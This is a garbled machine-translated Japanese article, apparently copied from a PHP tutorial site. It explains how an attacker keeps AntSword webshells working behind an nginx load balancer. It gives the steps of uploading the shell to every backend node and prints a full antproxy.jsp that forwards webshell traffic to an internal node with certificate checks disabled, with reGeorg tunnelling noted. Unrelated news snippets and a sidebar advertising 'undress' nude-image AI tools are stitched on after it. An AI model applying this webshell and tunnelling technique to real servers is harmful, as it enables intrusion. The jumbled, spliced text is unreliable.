シナリオの説明
実際の運用環境には、WebShell のインストールを取得できる RCE 脆弱性があると仮定します。
最初に、 GetHub に脆弱性を掲載 イメージをインストールする前に、事前に centos に nginx と tomcat をインストールし、nginx と tomcat の関連設定ファイルを設定し、docker を使用してイメージをプルダウンして脆弱性を再現する必要があります。
##1. 最初に Docker 環境をセットアップします# にも存在します。
## lbsnode2:
5. Chinese Ant Sword を介して ant.jsp ファイルを接続します
両方のノードの同じ場所に ant.jsp があるため、接続時に例外はありません
リバース プロキシであるため、負荷分散とはファイルをアップロードすることを意味します一方のバックエンド サーバーにはアップロードしたファイルがありますが、もう一方のサーバーにはアップロードしたファイルがありません。その結果、一方のサーバーにファイルがなくなると、リクエストの番になります。サーバーに 404 エラーが報告され、使用に影響を与えるため、しばらくの間は正常に表示され、しばらくの間エラーが表示されます。
解決策:どのノードがポーリングされても、同じ内容の WebShell を各ノードの同じ場所にアップロードする必要があります。バックエンドサーバーにはどのサーバーからでもアクセスできます。すべてのバックエンド サーバーにファイルをアップロードするには、狂ったようにファイルをアップロードする必要があります。
ホスト名 - を実行しています。 i 現在の実行マシンを表示します。 IP アドレスが変動していることがわかります。
質問 3: いくつかの大きなツールをアップロードする必要がある場合、ツールが使用できなくなる状況
大きなファイルをアップロードする場合、AntSword はファイルのアップロード時に断片化されたアップロード メソッドを使用し、ファイルを複数の HTTP リクエストに分割してターゲットに送信するため、ファイルがコンテンツの一部はサーバー A にあり、他のファイルはサーバー B にあるため、大きなツールやファイルを開いたり使用したりできなくなります
質問 4: ターゲット ホストがサーバー A に存在しないため、インターネットの外に移動します。さらに先に進みたい場合は、reGeorg/HTTPAbs などの HTTP トンネルのみを使用できますが、このシナリオでは、これらのトンネル スクリプトはすべて失敗します。解決策
オプション 1: バックエンド サーバーの 1 つをシャットダウンしますバックエンド サーバーの 1 つを実際に閉じます。上記4つの問題は解決できますが、この解決策はまさに「長寿の星を吊るす――生き飽きる」ようなもので、ビジネスに影響を与え、災害を引き起こすことになります。 :本当に環境です、次は絶対にやめてください! ! !
オプション 2: プログラムを実行する前にプログラムを実行するかどうかを決定する
次回どのマシンがプログラムを実行するかを予測することは不可能なので、シェルペイロードを実行する前に、実行するかどうかを判断するだけです。
初めてスクリプトデモ.sh を作成します。このスクリプトは、バックエンド サーバーの 1 つのアドレスを取得します。プログラムは、このサーバーのアドレスが一致した場合にのみ実行されます。アドレスと一致した場合は、他のサーバの場合はプログラムが実行されますが、プログラムは実行されません。
demo.sh スクリプト ファイルを China Ant Sword 経由で 2 つのバックエンド サーバーにアップロードします。ロード バランシングのため、狂ったようにクリックしてアップロードする必要があります
このようにして、実行されたコマンドが目的のマシン上にあることを確かに確認できますが、実行には美しさはありません。また、大きなファイルのアップロードやHTTPトンネルなどの問題も解決されていません。
総合評価: このソリューションはほとんど使用できず、コマンドの実行時にのみ使用するのに適しており、十分にエレガントではありません。
オプション 3: Web レイヤーで HTTP トラフィックを転送する (重要なポイント)
はい、AntSword (172.23.23.2) を使用して LBSNode1 イントラネット IP に直接アクセスすることはできません。 nginx に加えて、LBSNode2 マシンも Node1 マシンの 8080 ポートにアクセスできます。
「PHP バイパス無効化機能」プラグインをまだ覚えていますか? このプラグインにロードした後、httpserver をローカルで起動し、HTTP レベルのトラフィック転送スクリプト「##」を使用しました。 #antproxy.php "、このシナリオで見てみましょう:
すべてのデータパケットはマシン「LBSNode 1」に送信できます。
最初のステップはステップ 1 です。/antproxy.jsp をリクエストします。このリクエストは、nginx が受信した後、nginx に送信されます。 まず黒い線を見てみましょう。ステップ 2 では、リクエストがターゲット マシンに渡され、Node1 マシン上の /antproxy.jsp がリクエストされます。ステップ 3、/antproxy.jsp がリクエストを送信する 再編成後、リクエストは Node1 マシン上の /ant.jsp に渡され、正常に実行されます。 赤い線をもう一度見てください。ステップ 2 で、リクエストは Node2 マシンに渡されます。次に、ステップ 3 で、Node2 マシン上の /antproxy.jsp がリクエストを再編成し、/ant.jsp に渡します。 Node1の.正常に実行されました。1. antproxy.jsp スクリプトを作成します
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.net.ssl.*" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.DataInputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.net.HttpURLConnection" %> <%@ page import="java.net.URL" %> <%@ page import="java.security.KeyManagementException" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.security.cert.CertificateException" %> <%@ page import="java.security.cert.X509Certificate" %> <%! public static void ignoreSsl() throws Exception { HostnameVerifier hv = new HostnameVerifier() { public boolean verify(String urlHostName, SSLSession session) { return true; } }; trustAllHttpsCertificates(); HttpsURLConnection.setDefaultHostnameVerifier(hv); } private static void trustAllHttpsCertificates() throws Exception { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null; } @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } } }; try { SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } catch (KeyManagementException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } %> <% String target = "http://172.24.0.2:8080/ant.jsp"; URL url = new URL(target); if ("https".equalsIgnoreCase(url.getProtocol())) { ignoreSsl(); } HttpURLConnection conn = (HttpURLConnection)url.openConnection(); StringBuilder sb = new StringBuilder(); conn.setRequestMethod(request.getMethod()); conn.setConnectTimeout(30000); conn.setDoOutput(true); conn.setDoInput(true); conn.setInstanceFollowRedirects(false); conn.connect(); ByteArrayOutputStream baos=new ByteArrayOutputStream(); OutputStream out2 = conn.getOutputStream(); DataInputStream in=new DataInputStream(request.getInputStream()); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { baos.write(buf, 0, len); } baos.flush(); baos.writeTo(out2); baos.close(); InputStream inputStream = conn.getInputStream(); OutputStream out3=response.getOutputStream(); int len2 = 0; while ((len2 = inputStream.read(buf)) != -1) { out3.write(buf, 0, len2); } out3.flush(); out3.close(); %>
2. 転送アドレスを変更し、次のイントラネット IP のターゲット スクリプト アクセス アドレスにリダイレクトします。ターゲットノード。
注: WebShell だけでなく、reGeorg やその他のスクリプトのアクセス アドレスも変更できます。
LBSNode1 の ant.jsp を対象とします注:
a)アップロード関数は使用しないでください。アップロード関数は分割してアップロードします。 、その結果、異なるノードで断片化が発生します。
b) 各ノードに antproxy.jsp へのパスが同じであることを確認するため、各ノードがスクリプトをアップロードするように何度も保存しました。
## IP が固定されました は、リクエストがマシン LBSNode1 に固定されたことを意味します。現時点では、マルチパート アップロードと HTTP プロキシの使用は、スタンドアロンの状況と何ら変わりません。
このソリューションの利点:
1. これは次のように完了します。権限が低くても、権限が高ければポート レベルで直接転送することもできますが、これはプラン A
2 のオフサイト サービスと変わりません。トラフィックに関しては、リクエストにのみ影響します。 WebShell へのアクセス、その他の通常のビジネス リクエストには影響しません。 3. より多くのツールを適応させる欠点:
このソリューションでは、「ターゲット ノード」と「他のノード」 (存在する場合) の間のイントラネット通信が必要です。相互運用性はありませんが、クールになります。
以上がnginx 負荷分散下で Webshell アップロードを実装する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

新年の初めに、レイ・ジュンは新年の初めに2025年の3つの新年の願いを共有し、この4時間半のライブ放送は多くの注目を集めました。 Lei Junの3つの主要な願いは次のとおりです。最初に、300,000台の車両の配達目標を達成し、プレッシャーを軽減し、もはや進歩に巻き込まれません。第二に、旅行時間を増やし、世界中の美しい景色を楽しんだり、特別な食べ物を味わったり、仕事と組み合わせて車のテストを行います。第三に、フィットネスに固執し、体を強化するためにジムで100回チェックインする予定です。レイ・ジュンは、ライブ放送で、2024年にコンパクトなスケジュールで旅行したことを認めたので、彼はしばしば短時間しか滞在しなかったため、地元の文化を深く体験するのが難しくなりました。たとえば、ドイツの新しいノーススピードウェイでは、わずか8時間滞在しました。したがって、新年には、彼は仕事と生活と旅行のバランスを改善できることを望んでいます

No. 9とブランドのスポークスマンYi Yang Qianxiによって作成されたマイクロフィルム「メモリトラベル」は、2024年にいくつかの権威あるメディア賞を受賞し、今年の傑作になりました。この作品は、そのユニークな物語スタイル、絶妙な生産、誠実な感情で業界から高い評価を得ています。 2024年の賞と栄誉:2024ゴールドタッチグローバルビジネスイノベーション賞 - 毎年恒例の映画とテレビ広告2024中国広告マーケティング賞 - エンターテインメントマーケティンググループシルバーアワード2024トップデジタルイノベーションマーケティング賞 - 映画およびテレビプロダクションゴールドアワード2024上海国際広告フェスティバル - マイクロフィルムシルバーアワード2024第11日イノベーションアワード賞賞を受賞します。

最近、PCONLine2024 Zhizhen Technology Awardが正式に発表され、Agon Aidong QD-Oled E-Sports Display Ag326udは「Technical Innovation of the Year」賞を受賞しました。この名誉は、業界の技術的利点と市場パフォーマンスの高い認識を表しているだけでなく、e-Sportsディスプレイテクノロジーの分野でのAgonの革新的な能力と顕著な成果を完全に反映しています。 01.テクノロジーの将来を見ると、Pconline Zhizhen Technology Awardの権威ある価値は、テクノロジー業界の天気の良いものです。 Pconline Zhizhen Technology Awardは、厳密な評価システムと詳細な業界分析により、業界の幅広い認識を首尾よく獲得しています。この賞は、テクノロジー業界の開発を促進する優れた製品やブランドを称賛することに常に取り組んできました。

Sony InteractiveEntertainmentのチーフアーキテクト(SIE、Sony Interactive Entertainment)のMark Cernyは、パフォーマンスアップグレードAMDRDNA2.xアーキテクチャGPU、およびAMDとの機械学習/人工知能プログラムコードノームの「Amethylst」を含む、次世代ホストPlayStation5Pro(PS5PRO)のハードウェアの詳細をリリースしました。 PS5PROパフォーマンスの改善の焦点は、より強力なGPU、高度なレイトレース、AI搭載のPSSRスーパー解像度関数を含む3つの柱に依然としてあります。 GPUは、SonyがRDNA2.xと名付けたカスタマイズされたAMDRDNA2アーキテクチャを採用しており、RDNA3アーキテクチャがあります。

MicrosoftのWindows検索機能に対する改善は、EUのWindows Insiderチャネルでテストされています。以前は、統合されたWindows検索機能はユーザーによって批判されており、経験が不十分でした。この更新は、検索機能を2つの部分に分割します。ローカル検索とBingベースのWeb検索でユーザーエクスペリエンスを向上させます。検索インターフェイスの新しいバージョンは、デフォルトでローカルファイル検索を実行します。オンラインで検索する必要がある場合は、[Microsoft BingWebsearch]タブをクリックして切り替える必要があります。切り替え後、検索バーには「Microsoft BingWebsearch:」が表示され、ユーザーはキーワードを入力できます。この動きにより、ローカル検索結果とBing検索結果の混合が効果的に回避されます

カプコンの「モンスターハンター」シリーズの20周年を祝うために、バウダオクラブはユニークな雑誌セットである「モンスターハンター」をテーマにしたバーベキュータイマーと付属カップを立ち上げました。このセットは、12月27日に日本の自宅のコンビニエンスストアで利用可能になり、3,498円で価格設定されます。この雑誌セットの最大のハイライトは、インタラクティブなバーベキュータイマーで、一連のゲームの古典的なバーベキューシーンを完全に複製します。タイマーは、LED Flame Light EffectsとGame BGMを備えた古いバージョンのバーベキューツールを使用して設計されており、実際のバーベキュープロセス中に狩猟の楽しみを体験できます。回転ハンドルは、反転したバーベキューをシミュレートします。ベーキングに成功した後、「ベイクド!」の音声プロンプトはプレイされます。タイマーサイズは約9.5cm(高さ)x 10.7cm(幅)x 8cm(深い)、内蔵l

Xiaomi Autoの最初の記念日のお祝いは、車の所有者に新年の贈り物を与えます!昨年、配達量が130,000台を超えた後、Xiaomi Autoの公式Weiboは、Lei Junの古典的な引用「Areyouok?」を提供すると発表しました。すべてのXiaomi SU7の所有者および将来の所有者に。番号は限られており、無料で受け取ることができます!アクティビティ時間:2024年12月28日の午後4時から2025年1月20日に23:59:59。2024年12月31日の23:59:59より前に車を購入するか、注文を完了したユーザーは、4ピースの「Areyouok?」を取得できます。バルブコアキャップは無料で。このバルブコアキャップは、今年9月に初めてリリースされ、明るい黄色のPVCと真鍮素材で作られています。真鍮のコアは直接埋め込まれており、安全な運転を確保し、落ちるのは簡単ではありません。広く使用されている、

HDMI2.2規格は、2025 CES展示の前夜に公式にリリースされると予想されています。 HDMIFORUMは、この新世代のビデオ信号伝送プロトコル仕様を1月6日に発表する予定です。2017年にリリースされたHDMI2.1標準は、48Gbpsの最大帯域幅を持ち、4K144Hzおよび8k30Hzのビデオ伝送をサポートし、DSCテクノロジーで最大10k120Hzになります。 HDMI2.2は、帯域幅を大幅に増加させ、より高い解像度とリフレッシュレートをサポートし、新しいワイヤーを採用すると予想されます。特定の仕様はまだ開示されていませんが、HDMI2.2は必然的に48Gbpsの帯域幅と10240*4320のHDMI2.1の解像度制限を上回ります。 DisplayPort2.1が20にあることを考えると


ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

SublimeText3 Linux 新バージョン
SublimeText3 Linux 最新バージョン

Dreamweaver Mac版
ビジュアル Web 開発ツール

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

mPDF
mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。

VSCode Windows 64 ビットのダウンロード
Microsoft によって発売された無料で強力な IDE エディター
